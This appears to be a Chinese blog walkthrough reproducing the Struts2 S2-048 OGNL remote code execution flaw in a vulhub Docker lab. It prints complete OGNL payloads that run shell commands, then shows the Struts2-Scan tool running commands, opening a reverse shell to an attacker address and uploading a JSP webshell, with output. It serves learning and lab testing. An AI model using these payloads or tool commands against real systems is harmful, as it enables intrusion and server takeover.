(s2-048)Struts2 反序列化漏洞

Posted 浪人联想

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了(s2-048)Struts2 反序列化漏洞相关的知识,希望对你有一定的参考价值。

Struts2

Struts2是一个基于MVC设计模式(java)的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。Struts2 是 Apache 软件组织推出的一个相当强大的 Java Web 开源框架,本质上相当于一个 servlet。Struts2 基于 MVC 架构,框架结构清晰。通常作为控制器(Controller)来建立模型与视图的数据交互,用于创建企业级 Java web 应用程序。

漏洞复现

打开漏洞环境:

cd /home/ch1/Desktop/vulhub-master/struts2/s2-048
docker-compose up -d
docker ps

访问:http://192.168.8.9:8080/showcase/ 查看struts2展示

找到漏洞点:

OGNL 表达式漏洞位置是Gangster Name形式。

回车$233*233查看执行结果:

成功执行:$233*233

输入poc:

%(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())).(#q)

执行效果:

成功输出 id 命令,输入whoami

poc

%(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('whoami').getInputStream())).(#q)

执行结果:

成功复现。

Struts2-Scan

利用工具:https://github.com/HatBoy/Struts2-Scan

查看可以扫的漏洞信息:

┌──(root💀kali)-[/home/kali/Desktop/Struts2-Scan]
└─# python3 Struts2Scan.py --info  

 ____  _              _       ____    ____                  
/ ___|| |_ _ __ _   _| |_ ___|___ \\  / ___|  ___ __ _ _ __  
\\___ \\| __| '__| | | | __/ __| __) | \\___ \\ / __/ _` | '_ \\ 
 ___) | |_| |  | |_| | |_\\__ \\/ __/   ___) | (_| (_| | | | |
|____/ \\__|_|   \\__,_|\\__|___/_____| |____/ \\___\\__,_|_| |_|

                                      Author By HatBoy        

[+] 支持如下Struts2漏洞:
[+] S2-001:影响版本Struts 2.0.0-2.0.8; POST请求发送数据; 默认参数为:username,password; 支持获取WEB路径,任意命令执行和反弹shell
[+] S2-003:影响版本Struts 2.0.0-2.0.11.2; GET请求发送数据; 支持任意命令执行
[+] S2-005:影响版本Struts 2.0.0-2.1.8.1; GET请求发送数据; 支持获取WEB路径,任意命令执行
[+] S2-007:影响版本Struts 2.0.0-2.2.3; POST请求发送数据; 默认参数为:username,password; 支持任意命令执行和反弹shell
[+] S2-008:影响版本Struts 2.1.0-2.3.1; GET请求发送数据; 支持任意命令执行和反弹shell
[+] S2-009:影响版本Struts 2.0.0-2.3.1.1; GET请求发送数据,URL后面需要请求参数名; 默认为: key; 支持任意命令执行和反弹shell
[+] S2-012:影响版本Struts Showcase App 2.0.0-2.3.13; GET请求发送数据,参数直接添加到URL后面; 默认为:name; 支持任意命令执行和反弹shell
[+] S2-013/S2-014:影响版本Struts 2.0.0-2.3.14.1; GET请求发送数据; 支持获取WEB路径,任意命令执行,反弹shell和文件上传
[+] S2-015:影响版本Struts 2.0.0-2.3.14.2; GET请求发送数据; 支持任意命令执行和反弹shell
[+] S2-016:影响版本Struts 2.0.0-2.3.15; GET请求发送数据; 支持获取WEB路径,任意命令执行,反弹shell和文件上传
[+] S2-019:影响版本Struts 2.0.0-2.3.15.1; GET请求发送数据; 支持获取WEB路径,任意命令执行,反弹shell和文件上传
[+] S2-029:影响版本Struts 2.0.0-2.3.24.1(除了2.3.20.3); POST请求发送数据,需要参数; 默认参数:message; 支持任意命令执行和反弹shell
[+] S2-032:影响版本Struts 2.3.20-2.3.28(除了2.3.20.3和2.3.24.3); GET请求发送数据; 支持获取WEB路径,任意命令执行和反弹shell
[+] S2-033:影响版本Struts 2.3.20-2.3.28(除了2.3.20.3和2.3.24.3); GET请求发送数据; 支持任意命令执行和反弹shell
[+] S2-037:影响版本Struts 2.3.20-2.3.28.1; GET请求发送数据; 支持获取WEB路径,任意命令执行和反弹shell
[+] S2-045:影响版本Struts 2.3.5-2.3.31,2.5-2.5.10; POST请求发送数据,不需要参数; 支持获取WEB路径,任意命令执行,反弹shell和文件上传
[+] S2-046:影响版本Struts 2.3.5-2.3.31,2.5-2.5.10; POST请求发送数据,不需要参数; 支持获取WEB路径,任意命令执行,反弹shell和文件上传
[+] S2-048:影响版本Struts 2.3.x with Struts 1 plugin and Struts 1 action; POST请求发送数据; 默认参数为:username,password; 支持任意命令执行和反弹shell
[+] S2-052:影响版本Struts 2.1.2-2.3.33,2.5-2.5.12; POST请求发送数据,不需要参数; 支持任意命令执行(无回显)和反弹shell,不支持检测该漏洞是否存在
[+] S2-053:影响版本Struts 2.0.1-2.3.33,2.5-2.5.10; POST请求发送数据; 默认参数为:username,password; 支持任意命令执行和反弹shell
[+] S2-devMode:影响版本Struts 2.1.0-2.3.1; GET请求发送数据; 支持获取WEB路径,任意命令执行和反弹shell
[+] S2-057:影响版本Struts 2.0.4-2.3.34, Struts 2.5.0-2.5.16; GET请求发送数据; 支持任意命令执行和反弹shell

漏洞检测:

python3 Struts2Scan.py -u http://192.168.8.9:8080/index.action

批量检测:

python3 struts-scan.py -f url.txt

POST数据:

python3 Struts2Scan.py -u http://192.168.100.8:8080/index.action -n S2-016 --exec

指定漏洞名称利用:

# 命令执行
$ python3 Struts2Scan.py -u http://192.168.100.8:8080/index.action -n S2-016 --exec

 ____  _              _       ____    ____                  
/ ___|| |_ _ __ _   _| |_ ___|___ \\  / ___|  ___ __ _ _ __  
\\___ \\| __| '__| | | | __/ __| __) | \\___ \\ / __/ _` | '_ \\ 
 ___) | |_| |  | |_| | |_\\__ \\/ __/   ___) | (_| (_| | | | |
|____/ \\__|_|   \\__,_|\\__|___/_____| |____/ \\___\\__,_|_| |_|

                                      Author By HatBoy        

>>>ls -la
total 136
drwxr-sr-x 1 root staff  4096 May  5  2017 .
drwxrwsr-x 1 root staff  4096 May  5  2017 ..
-rw-r----- 1 root root  57092 Apr 13  2017 LICENSE
-rw-r----- 1 root root   1723 Apr 13  2017 NOTICE
-rw-r----- 1 root root   7064 Apr 13  2017 RELEASE-NOTES
-rw-r----- 1 root root  15946 Apr 13  2017 RUNNING.txt
drwxr-x--- 1 root root   4096 May  5  2017 bin
drwx--S--- 1 root root   4096 Jul 12 14:54 conf
drwxr-sr-x 3 root staff  4096 May  5  2017 include
drwxr-x--- 2 root root   4096 May  5  2017 lib
drwxr-x--- 1 root root   4096 Jul 12 14:54 logs
drwxr-sr-x 3 root staff  4096 May  5  2017 native-jni-lib
drwxr-x--- 2 root root   4096 May  5  2017 temp
drwxr-x--- 1 root root   4096 Jul 12 14:54 webapps
drwxr-x--- 1 root root   4096 Jul 12 14:54 work
>>>

# 反弹shll
$ python3 Struts2Scan.py -u http://192.168.8.9:8080/index.action -n S2-016 --reverse 192.168.8.11:8888

 ____  _              _       ____    ____                  
/ ___|| |_ _ __ _   _| |_ ___|___ \\  / ___|  ___ __ _ _ __  
\\___ \\| __| '__| | | | __/ __| __) | \\___ \\ / __/ _` | '_ \\ 
 ___) | |_| |  | |_| | |_\\__ \\/ __/   ___) | (_| (_| | | | |
|____/ \\__|_|   \\__,_|\\__|___/_____| |____/ \\___\\__,_|_| |_|

                                      Author By HatBoy        

[*] 请在反弹地址处监听端口如: nc -lvvp 8080

# 获取WEB路径
$ python3 Struts2Scan.py -u http://192.168.100.8:8080/index.action -n S2-016 --webpath

 ____  _              _       ____    ____                  
/ ___|| |_ _ __ _   _| |_ ___|___ \\  / ___|  ___ __ _ _ __  
\\___ \\| __| '__| | | | __/ __| __) | \\___ \\ / __/ _` | '_ \\ 
 ___) | |_| |  | |_| | |_\\__ \\/ __/   ___) | (_| (_| | | | |
|____/ \\__|_|   \\__,_|\\__|___/_____| |____/ \\___\\__,_|_| |_|

                                      Author By HatBoy        

[*] /usr/local/tomcat/webapps/ROOT/

# 上传shell
$ python3 Struts2Scan.py -u http://192.168.8.9:8080/index.action -n S2-016 --upfile shell.jsp --uppath /usr/local/tomcat/webapps/ROOT/shell.jsp

 ____  _              _       ____    ____                  
/ ___|| |_ _ __ _   _| |_ ___|___ \\  / ___|  ___ __ _ _ __  
\\___ \\| __| '__| | | | __/ __| __) | \\___ \\ / __/ _` | '_ \\ 
 ___) | |_| |  | |_| | |_\\__ \\/ __/   ___) | (_| (_| | | | |
|____/ \\__|_|   \\__,_|\\__|___/_____| |____/ \\___\\__,_|_| |_|

                                      Author By HatBoy        

[+] 文件上传成功!

其它Struts2漏洞:

全是RCE

S2-005 
S2-007  
S2-008  
S2-009  
S2-012  
S2-013  
S2-015  
S2-016  
S2-032  
S2-045  
S2-046  
S2-048  
S2-052  
S2-053   
Struts2 S2-057 
Struts2 S2-059 
Struts2 S2-061

仅供学习!

以上是关于(s2-048)Struts2 反序列化漏洞的主要内容,如果未能解决你的问题,请参考以下文章

重磅 | Struts2 S2-048远程代码执行漏洞分析报告

s2-048远程代码执行漏洞

Struts(S2-048)远程命令执行漏洞分析

SOC平台案例:泰合安管平台针对利用struts2-048漏洞植入恶意软件的监测与响应

struts2又双叒叕有漏洞了

structs2的048漏洞复现 2.3.32版本